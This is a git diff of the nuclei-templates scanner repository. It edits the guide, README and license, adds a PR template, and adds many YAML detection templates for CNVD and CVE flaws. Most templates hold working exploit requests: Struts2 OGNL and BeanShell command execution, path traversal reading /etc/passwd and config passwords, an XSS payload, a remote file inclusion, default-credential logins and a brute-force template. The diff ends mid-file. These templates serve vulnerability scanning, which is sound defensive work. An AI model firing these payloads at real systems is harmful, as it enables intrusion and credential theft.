-Multiple matchers can be specified in a request. There are basically 5 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| size         | Response size              |
-| word         | Response                   |
-| regex        | Response                   |
-| binary       | Response                   |
-| dsl          | Response                   |
-
-## **Example DNS Template**
-
-The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
-
-```yaml
-id: dummy-cname-a
-
-info:
-  name: Dummy A dns request
-  author: mzack9999
-  severity: none
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          # The response must contains a CNAME record
-          - "IN\tCNAME"
-          # and also at least 1 A record
-          - "IN\tA"
-        condition: and
-```
-
-# Chained workflow
-
-It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.  
-
-Chained workflow supports both HTTP and DNS request based templates. 
-
-Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-  
-  jira: panels/detect-jira.yaml
-  jira_cve_1: cves/CVE-2018-20824.yaml
-  jira_cve_2: cves/CVE-2019-3399.yaml
-  jira_cve_3: cves/CVE-2019-11581.yaml
-  jira_cve_4: cves/CVE-2017-18101.yaml
-
-logic: 
-    |
-  if jira() {
-    jira_cve_1()
-    jira_cve_2()
-    jira_cve_3()
-    jira_cve_4()
-
-  }
-```
-
-Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-
-  jira: panels/detect-jira.yaml
-  jira_pwn: my-jira-templates/
-
- # defining directory to run all the templates
-
-logic: 
-    |
-  if jira() {
-    jira_pwn()
-
-  }
-```
-

LICENSE.md

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2020 Exposed Atoms.
+Copyright (c) 2020 ProjectDiscovery, Inc.
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,28 @@
+### Template / PR Information
+
+<!-- Explains the information and/or motivation for update or/ creating this templates -->
+<!-- Please include any reference to your template if available -->
+
+- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
+- References:
+
+### Template Validation
+
+I've validated this template locally?
+- [ ] YES
+- [ ] NO
+
+
+#### Additional Details (leave it blank if not applicable)
+
+<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
+<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
+<!-- Please do NOT include vulnerable host information in pull requests -->
+<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
+
+### Additional References:
+
+- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
+- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
+- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/.github/CONTRIBUTING.md)
+- [PD-Community Discord server](https://discord.gg/projectdiscovery)

README.md

@@ -1,10 +1,82 @@
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
 
-Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
 
-------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
+</p>
+
+----
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+
+## Nuclei Templates overview
+
+
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+<table>
+<tr>
+<td> 
+
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | 388           | vulnerabilities | 214 | exposed-panels | 192 |
+| takeovers        | 70        | exposures       | 112       | technologies   | 115   |
+| misconfiguration | 74 | workflows       | 33         | miscellaneous  | 27  |
+| default-logins   | 37 | file            | 42            | dns            | 10            |
+| fuzzing          | 10          | helpers         | 9         | iot            | 15            |
+
+**127 directories, 1465 files**.
+
+</td>
+</tr>
+</table>
+
+
+
+
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
 
 Thanks again for your contribution and keeping the community vibrant. :heart:

brute-force/tomcat-manager-bruteforce.yaml

@@ -1,30 +0,0 @@
-id: tomcat-manager-bruteforce
-info:
-  name: tomcat-manager-bruteforce-fuzzing
-  author: pdteam
-  severity: high
-
-requests:
-  - payloads:
-      username: username.txt
-      password: password.txt
-
-      # make sure you have your wordlist on the defind path.
-
-    attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
-
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-        GET /manager/html HTTP/1.1
-        Host: {{Hostname}}
-        Authorization: Basic {{base64(username:password)}}
-        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-        Connection: close
-
-    matchers:
-      - type: status
-        status:
-          - 200

cnvd/CNVD-2019-01348.yaml

@@ -0,0 +1,27 @@
+id: CNVD-2019-01348
+
+info:
+  name: Xiuno BBS CNVD-2019-01348
+  author: princechaddha
+  severity: medium
+  description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page.
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
+  tags: xiuno,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/"
+    headers:
+      Accept-Encoding: deflate
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "/view/js/xiuno.js"
+          - "Choose Language (选择语言)"
+        part: body
+        condition: and

cnvd/CNVD-2020-23735.yaml

@@ -0,0 +1,26 @@
+id: CNVD-2020-23735
+
+info:
+  name: Xxunchi Local File read
+  author: princechaddha
+  severity: medium
+  description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information.
+  reference: https://www.cnvd.org.cn/flaw/show/2025171
+  tags: xunchi,lfi,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"
+          - "display_errors"
+        part: body
+        condition: and

cnvd/CNVD-2020-56167.yaml

@@ -0,0 +1,30 @@
+id: CNVD-2020-56167
+
+info:
+  name: Ruijie Smartweb Default Password
+  author: pikpikcu
+  severity: low
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
+  tags: ruijie,default-login,cnvd
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/WEB_VMS/LEVEL15/"
+    headers:
+      Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
+    body: command=show basic-info dev&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Level was: LEVEL15"
+          - "/WEB_VMS/LEVEL15/"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2020-62422.yaml

@@ -0,0 +1,29 @@
+id: CNVD-2020-62422
+
+info:
+  name: Seeyon readfile(CNVD-2020-62422)
+  author: pikpikcu
+  severity: medium
+  reference: https://blog.csdn.net/m0_46257936/article/details/113150699
+  tags: lfi,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/x-msdownload"
+        condition: and
+        part: header
+      - type: word
+        words:
+          - "ctpDataSource.password"
+        condition: and
+        part: body

cnvd/CNVD-2020-68596.yaml

@@ -0,0 +1,49 @@
+id: CNVD-2020-68596
+
+info:
+  name: WeiPHP 5.0 Path Traversal
+  author: pikpikcu
+  severity: critical
+  reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
+  tags: weiphp,lfi,cnvd
+
+requests:
+  - raw:
+      - |
+        POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Length: 5
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: deflate
+
+        "1":1
+      - |
+        GET /public/index.php/home/file/user_pics HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept-Encoding: gzip
+        Accept-Encoding: deflate
+
+      - |
+        GET {{endpoint}} HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept-Encoding: deflate
+
+    extractors:
+      - type: regex
+        name: endpoint
+        part: body
+        internal: true
+        regex:
+          - '/public/uploads/picture/(.*.jpg)'
+
+    matchers:
+      - type: word
+        words:
+          - https://weiphp.cn
+          - WeiPHP
+          - DB_PREFIX
+        condition: and
+        part: body

cnvd/CNVD-2021-10543.yaml

@@ -0,0 +1,26 @@
+id: CNVD-2021-10543
+
+info:
+  name: EEA Information Disclosure
+  author: pikpikcu
+  severity: high
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
+  tags: config,exposure,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/authenticationserverservlet"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "<username>(.*?)</username>"
+          - "<password>(.*?)</password>"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2021-15822.yaml

@@ -0,0 +1,27 @@
+id: CNVD-2021-15822
+
+info:
+  name: ShopXO Download File Read
+  author: pikpikcu
+  severity: high
+  reference: https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog
+  tags: shopxo,lfi
+
+requests:
+  - raw:
+      - |
+        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=  HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2021-17369.yaml

@@ -0,0 +1,29 @@
+id: CNVD-2021-17369
+
+info:
+  name: Ruijie Smartweb Management System Password Information Disclosure
+  author: pikpikcu
+  severity: medium
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
+  tags: ruijie,disclosure,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web/xml/webuser-auth.xml"
+    headers:
+      Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<userauth>"
+          - "<password>"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2021-30167.yaml

@@ -0,0 +1,45 @@
+id: CNVD-2021-30167
+
+info:
+  name: UFIDA NC BeanShell Remote Code Execution
+  author: pikpikcu
+  severity: high
+  reference: |
+     - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
+     - https://www.cnvd.org.cn/webinfo/show/6491
+  tags: beanshell,rce,cnvd
+
+requests:
+  - raw:
+      - | #linux
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("id");
+
+      - | #windows
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("ipconfig");
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "uid="
+          - "Windows IP"
+        condition: or
+
+      - type: word
+        words:
+          - "BeanShell Test Servlet"
+
+      - type: status
+        status:
+          - 200

cves/2005/CVE-2005-2428.yaml

@@ -0,0 +1,25 @@
+id: CVE-2005-2428
+info:
+  name: CVE-2005-2428
+  author: CasperGN
+  severity: medium
+  tags: cve,cve2005
+  description: Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
+  reference: |
+    - http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf
+    - https://www.exploit-db.com/exploits/39495
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/names.nsf/People?OpenView"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        name: domino-username
+        regex:
+          - '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
+        part: body

cves/2007/CVE-2007-4556.yaml

@@ -0,0 +1,30 @@
+id: CVE-2007-4556
+
+info:
+  name: Apache Struts2 S2-001 RCE
+  author: pikpikcu
+  severity: critical
+  description: Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via form input beginning with a "%{" sequence and ending with a "}" character.
+  reference: https://www.guildhab.top/?p=2326
+  tags: cve,cve2007,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2008/CVE-2008-2398.yaml

@@ -0,0 +1,29 @@
+id: CVE-2008-2398
+
+info:
+  name: AppServ Open Project 2.5.10 and earlier XSS
+  author: unstabl3
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in index.php in AppServ Open Project 2.5.10 and earlier allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
+  reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
+  tags: cve,cve2008,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=confirm('xss')>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2008/CVE-2008-2650.yaml

@@ -0,0 +1,25 @@
+id: CVE-2008-2650
+info:
+  name: CMSimple 3.1 - Local File Inclusion
+  author: pussycat0x
+  severity: high
+  description: |
+    Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
+  reference: https://www.exploit-db.com/exploits/5700
+  tags: cve,cve2008,lfi
+requests:
+  - raw:
+      - |
+        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2009/CVE-2009-0545.yaml

@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"

cves/2009/CVE-2009-1151.yaml

@@ -0,0 +1,35 @@
+id: CVE-2009-1151
+
+info:
+  name: PhpMyAdmin Scripts/setup.php Deserialization Vulnerability
+  author: princechaddha
+  severity: high
+  description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
+  reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
+  vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
+  tags: cve,cve2009,phpmyadmin,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /scripts/setup.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 80
+
+        action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2009/CVE-2009-4223.yaml

@@ -0,0 +1,26 @@
+id: CVE-2009-4223
+
+info:
+  name: KR-Web <= 1.1b2 RFI
+  description: KR is a web content-server based on Apache-PHP-MySql technology who gives to internet programmers some PHP classes semplifying database content access. Elsewere, it gives some admin and user tools to write, hyerarchize and authorize contents.
+  reference:
+    - https://sourceforge.net/projects/krw/
+    - https://www.exploit-db.com/exploits/10216
+  author: geeknik
+  severity: high
+  tags: cve,cve2009,krweb,rfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"

cves/2010/CVE-2010-2861.yaml

@@ -0,0 +1,30 @@
+id: CVE-2010-2861
+
+info:
+  name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI
+  author: pikpikcu
+  severity: high
+  description: Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+    - http://www.adobe.com/support/security/bulletins/apsb10-18.html
+  tags: cve,cve2010,coldfusion,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "rdspassword="
+          - "encrypted="
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2011/CVE-2011-0049.yaml

@@ -0,0 +1,29 @@
+id: CVE-2011-0049
+
+info:
+  name: Majordomo2 - SMTP/HTTP Directory Traversal
+  author: pikpikcu
+  severity: high
+  description: Directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
+  reference: |
+    - https://www.exploit-db.com/exploits/16103
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0063
+    - http://www.kb.cert.org/vuls/id/363726
+  tags: cve,cve2011,majordomo2,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-0392.yaml

@@ -0,0 +1,25 @@
+id: CVE-2012-0392
+
+info:
+  name: Apache Struts2 S2-008 RCE
+  author: pikpikcu
+  severity: critical
+  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
+  reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
+  tags: cve,cve2012,apache,rce,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-3153.yaml

@@ -0,0 +1,47 @@
+id: CVE-2012-3153
+
+info:
+  name: Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
+  author: Sid Ahmed MALAOUI @ Realistic Security
+  severity: critical
+  description: |
+    Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,
+    11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown
+    vectors related to Report Server Component.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3152
+    - https://www.exploit-db.com/exploits/31737
+  tags: cve,cve2012,oracle,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/reports/rwservlet/showenv"
+      - "{{BaseURL}}/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///"
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_1, "Reports Servlet")'
+
+      - type: status
+        status:
+          - 200
+
+      - type: dsl
+        dsl:
+          - '!contains(body_2, "<html")'
+          - '!contains(body_2, "<HTML")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: windows_working_path
+        regex:
+          - ".?.?\\\\.*\\\\showenv"
+      - type: regex
+        name: linux_working_path
+        regex:
+          - "/.*/showenv"

cves/2013/CVE-2013-1965.yaml

@@ -0,0 +1,29 @@
+id: CVE-2013-1965
+
+info:
+  name: Apache Struts2 S2-012 RCE
+  author: pikpikcu
+  severity: critical
+  description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
+  reference: http://struts.apache.org/development/2.x/docs/s2-012.html
+  tags: cve,cve2013,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/user.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2013/CVE-2013-2248.yaml

@@ -0,0 +1,20 @@
+id: CVE-2013-2248
+
+info:
+  name: Apache Struts - Multiple Open Redirection Vulnerabilities
+  author: 0x_Akoko
+  description: Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
+  reference: https://www.exploit-db.com/exploits/38666
+  severity: low
+  tags: cve,cve2013,apache,redirect,struts
+
+requests:
+  - method: GET
+    path:
